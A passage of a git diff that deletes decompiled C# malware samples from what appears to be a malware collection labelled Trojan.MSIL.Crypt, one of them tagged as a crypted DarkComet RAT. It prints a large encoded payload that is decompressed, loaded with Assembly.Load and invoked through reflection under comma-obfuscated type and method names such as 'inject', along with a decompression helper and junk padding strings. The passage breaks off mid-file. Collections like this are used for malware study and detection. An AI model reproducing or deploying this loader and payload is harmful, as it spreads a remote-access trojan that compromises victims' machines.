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"))); - Assembly.Load(rawAssembly).GetType("W,,,,i,n,,,,,,,,,,d,,,ow,,,s,,,,,A,p,,,pl,,i,,,,c,,,,,at,,io,,,,n,,,2,,,,.m,,,od,,,u,l,,,e,1,,,".Replace(",", "")).GetMethod(",,,,i,,,,,n,,,,j,,,,e,c,t,,".Replace(",", "")).Invoke((object) null, new object[1] - { - (object) new ArrayList() { (object) numArray } - }); - object obj; - return obj; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/sakiajfwefjwa.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/sakiajfwefjwa.cs deleted file mode 100644 index 91753744..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6/sakiajfwefjwa.cs +++ /dev/null @@ -1,67 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: sakiajfwefjwa -// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 035F9F59-E73D-4DD8-BC60-AB1A357F2FCA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bbc-1e51cf09d7af2ddef4ed737fcdd1b1479d0068a20cace76115677878fd28b7e6.exe - -using Microsoft.VisualBasic.CompilerServices; -using System.Collections; -using System.IO; -using System.IO.Compression; - -[StandardModule] -internal sealed class sakiajfwefjwa -{ - public static byte[] ÈÈÉ(byte[] ÂÄÀ) - { - MemoryStream memoryStream1 = new MemoryStream(ÂÄÀ); - MemoryStream memoryStream2 = new MemoryStream(); - DeflateStream deflateStream = new DeflateStream((Stream) memoryStream1, CompressionMode.Decompress); - byte[] numArray = new byte[1024]; - while (true) - { - int count = deflateStream.Read(numArray, 0, 1024); - if (count != 0) - memoryStream2.Write(numArray, 0, count); - else - break; - } - deflateStream.Close(); - memoryStream2.Close(); - return memoryStream2.ToArray(); - } - - public static void eleven() - { - ArrayList arrayList = new ArrayList() - { - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa" - }; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1/AssemblyInfo.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1/AssemblyInfo.cs deleted file mode 100644 index a234340d..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1/AssemblyInfo.cs +++ /dev/null @@ -1,5 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: Guid("ccbcad78-97bc-46b8-80d3-f7f30c06d5e9")] -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1/MyApplication.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1/MyApplication.cs deleted file mode 100644 index c5b65b3b..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: DarkCometRAT By Woody crypted, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 3F71572C-D491-46DB-83BE-2910DD358446 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1/MyComputer.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1/MyComputer.cs deleted file mode 100644 index c78dc849..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.bhma-2c17552edea5876a165290d91457dbe5501de04168ab807158f55cebbf7181d1/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: DarkCometRAT By Woody crypted, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 3F71572C-D491-46DB-83BE-2910DD358446 -// Assembly location: 